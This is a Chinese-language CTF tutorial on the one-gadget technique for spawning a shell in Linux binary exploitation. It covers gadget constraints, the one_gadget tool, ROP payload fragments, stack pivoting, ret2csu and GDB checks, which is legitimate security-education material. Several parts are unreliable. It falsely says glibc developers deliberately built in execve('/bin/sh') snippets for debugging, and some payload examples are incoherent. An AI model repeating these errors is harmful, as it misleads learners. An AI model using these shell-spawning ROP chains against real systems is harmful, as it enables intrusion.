告别system("/bin/sh"):深入浅出理解one-gadget在Linux PWN中的妙用与约束条件
在二进制漏洞利用领域,获取shell往往是攻击者的终极目标。传统ROP链构造中,system("/bin/sh")是最常见的解决方案,但这种方法需要精确控制rdi寄存器并找到合适的字符串引用。当这些条件难以满足时,one-gadget技术便展现出其独特价值——它通过glibc内置的execve调用直接启动shell,无需复杂参数传递。本文将彻底解析这一技术的实现原理、实战应用技巧与常见陷阱。
1. one-gadget的本质与工作原理
1.1 glibc中的隐藏武器
在glibc的动态链接库中,开发者为了方便调试和维护,内置了若干直接调用execve("/bin/sh", NULL, NULL)的代码片段。这些片段通常包含以下关键指令序列:
mov rdx, qword ptr [rsp+0x30] ; 约束条件检查 xor esi, esi ; 设置argv=NULL mov rdi, 0x7ffff7b95d88 ; "/bin/sh"地址 call execve ; 系统调用这些代码片段被称为one-gadget,其核心特点是:
- 无需参数准备:内置了
/bin/sh字符串地址和参数清零操作 - 单跳转触发:只需控制EIP/RIP跳转到指定地址
- 环境依赖:需要特定寄存器或内存状态满足条件
1.2 约束条件的类型分析
使用one_gadget工具查询libc时,输出的约束条件主要分为三类:
| 约束类型 | 典型示例 | 满足方法 |
|---|---|---|
| 寄存器状态 | [rsp+0x30] == NULL | 通过ROP清空栈区域 |
| 内存可写性 | [rsi]可写 | 提前布局可写地址 |
| 线程局部存储 | fs:[0x30] == NULL | 选择非主线程环境触发 |
注意:不同glibc版本的约束条件差异较大,2.23版本通常有4-5个可用gadget,而2.31版本可能仅剩1-2个。
2. 工具链实战:从查找到应用
2.1 自动化搜索技巧
安装Ruby环境后,使用以下命令快速定位gadget:
$ gem install one_gadget $ one_gadget /lib/x86_64-linux-gnu/libc.so.6典型输出包含三个关键信息:
- 偏移地址:0x4f432(需加上libc基址)
- 约束条件:[rsp+0x40] == NULL
- 适用版本:glibc 2.27-2.29
2.2 约束条件主动满足策略
当面对[rsp+0x30] == NULL这类约束时,可通过以下ROP链设计清空栈空间:
# 清空[rsp+0x30]区域的payload构造 rop_chain = [ pop_rdi, 0, # 设置read参数 pop_rsi, stack_addr, pop_rdx, 0x40, read_plt, # 读取NULL字节 one_gadget_addr ]在borrowstack例题中,通过第二次read向.bss段写入全零数据,同时将one-gadget地址布置在返回位置:
payload = p64(libc_base + 0x4f432) + b'\x00'*0x30 # 满足[rsp+0x30]==NULL3. 进阶应用:结合其他技术的复合利用
3.1 栈迁移与one-gadget的协同
当面临栈空间不足时,可结合栈迁移技术创造理想环境:
- 转移栈帧:通过
leave; ret将栈迁移到可控区域(如.bss段) - 精确布局:在新栈帧中预留约束条件所需的空间
- 双重保障:在迁移后的栈中同时布置传统ROP和one-gadget
# 栈迁移+one-gadget复合利用示例 new_stack = bss_base + 0x100 payload = flat({ 0x60: [new_stack - 0x10, leave_ret], new_stack: [pop_rdi, libc_base + binsh, system] + [b'\x00']*0x30 + [one_gadget] })3.2 与ret2csu的联合使用
当缺乏控制rdx的gadget时,可借助__libc_csu_init中的通用gadget:
# 使用csu_gadget调用read满足约束 csu_chain = [ csu_pop, 0, 1, libc_base + one_gadget, 0, 0, 0, csu_call, b'\x00'*0x38 ]4. 避坑指南:常见问题与解决方案
4.1 版本兼容性问题
不同glibc版本的one-gadget行为差异:
| glibc版本 | 可用gadget数量 | 典型约束 |
|---|---|---|
| 2.23 | 5 | [rsp+0x30] == NULL |
| 2.27 | 3 | rcx == NULL |
| 2.31 | 1 | [rsp+0x70] == NULL |
4.2 动态环境下的约束满足
在以下特殊场景需要特别注意:
- 线程环境:
fs:[0x30]约束在主线程中恒为非零 - ASLR影响:堆地址随机化可能导致
[rsi]约束失败 - IO缓冲:printf等函数会修改栈结构,破坏预设条件
4.3 调试技巧
使用GDB验证约束条件是否满足:
gdb-peda$ b *0x7ffff7a7b432 # 在one-gadget地址下断点 gdb-peda$ x/gx $rsp+0x30 # 检查关键内存值 gdb-peda$ p $rcx # 检查寄存器状态在实际CTF比赛中,遇到one-gadget失效时,我会优先检查栈空间是否被其他函数调用污染。曾经在一道题目中,由于忽略了__libc_start_main的初始化操作导致[rsp+0x40]被写入非零值,最终通过调整ROP链插入额外的read调用清空该区域才成功利用。